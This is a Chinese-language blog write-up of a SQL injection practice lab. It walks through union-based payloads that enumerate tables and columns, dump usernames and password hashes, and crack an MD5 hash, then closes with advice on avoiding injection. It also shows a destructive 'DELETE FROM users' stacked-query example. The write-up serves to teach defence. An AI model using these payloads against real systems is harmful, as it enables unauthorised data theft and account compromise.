记录一次SQL注入练习
SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
我们知道,SQL 语句可以查询、插入、更新和删除数据,且使用分号来分隔不同的命令。例如:
SELECT * FROM users WHERE user_id = $user_id
其中,user_id 是传入的参数,如果传入的参数值为“1234; DELETE FROM users”,那么最终的查询语句会变为:
SELECT * FROM users WHERE user_id = 1234; DELETE FROM users
如果以上语句执行,则会删除 users 表中的所有数据。
当然,上述“删表”例子只是一个攻击样例,实际上黑客能做的事远比这多。
下面我会使用一个简单的例子演示黑客 SQL 注入的全过程。

根据常识推断 sql 语句大概是个 select xx-columns from xx-table where id=input 的形式。
我们 F12 看下发送的包


由于是POST型的,那么我们可以通过抓包来修改id值,再发送给服务器即可;
使用burpsuite抓包,并修改请求。

发现查询正常
再抓包修改 id 为:
1 and 1=2
页面结果显示如下:

经过以上试探,现在可以验证服务端 sql 是:
SELECT * FROM users WHERE id=$id
尝试查询注入,查看当前用户和数据库
1 union select user(),database()

尝试查看当前数据库下的所有表
1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()

尝试查看users表的字段
1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

尝试爆值
1 union select database(),group_concat(' ',username,'::',password) from DB.users

可以看到,密码是经过 hash 加密的,由于目前 md5 在国内使用率最高,所以我们尝试使用一些工具网站解密:cmd5.com
解密结果如下:

到此为止,我们已经破解出了用户的密码,后面“为所欲为”的场景不再展示。
演示上述靶场实验是为了让大家认识到 SQL 注入的危害。其实在开发中,我们只要注重编码规范就可以轻松避免注入漏洞。
下面是在开发过程中可以避免 SQL 注入的一些方法。
避免使用动态SQL
避免将用户的输入数据直接放入 SQL 语句中,最好使用准备好的语句和参数化查询,这样更安全。
不要将敏感数据保留在纯文本中
加密存储在数据库中的私有/机密数据,这样可以提供了另一级保护,以防攻击者成功地排出敏感数据。
限制数据库权限和特权
将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。
避免直接向用户显示数据库错误
攻击者可以使用这些错误消息来获取有关数据库的信息。
一些编程框架对于写出更安全的代码也有一定的帮助,因为它提供了一些处理字符串的函数和使用查询参数的方法。但同样,你仍然可以编写出不安全的 SQL 语句。所以归根到底,我们需要有良好的编码规范,并能充分利用参数化查询、字符串处理和参数校验等多种办法来保护数据库和程序的安全。

